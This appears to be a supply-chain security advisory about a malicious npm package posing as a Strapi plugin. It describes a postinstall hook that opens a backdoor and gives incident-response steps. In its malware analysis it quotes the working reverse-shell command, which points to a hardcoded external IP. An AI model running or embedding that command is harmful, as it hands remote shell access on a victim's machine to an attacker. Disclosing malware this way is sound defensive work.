strapi-plugin-yayccresh-meebnpm
Advisory published Updated
strapi-plugin-yayccresh-meeb is a confirmed malicious npm package (MAL-2026-16193) that opens a backdoor for remote access (malicious version 3.6.8). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in strapi-plugin-yayccresh-meeb (npm)
What this malware does
The package's postinstall lifecycle script (node postinstall.js) executes a bash reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:443 and redirects an interactive bash session's stdio through the socket (bash -i > /dev/tcp/14.225.210.85/443 0>&1). Running npm install on this package hands interactive shell access on the installer's machine to whoever controls that endpoint. The package advertises itself as a Strapi plugin but ships no plugin functionality — the postinstall reverse shell is the entire payload.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for strapi-plugin-yayccresh-meeb (version 3.6.8).
If you installed it — respond
strapi-plugin-yayccresh-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If strapi-plugin-yayccresh-meeb was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks strapi-plugin-yayccresh-meeb-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.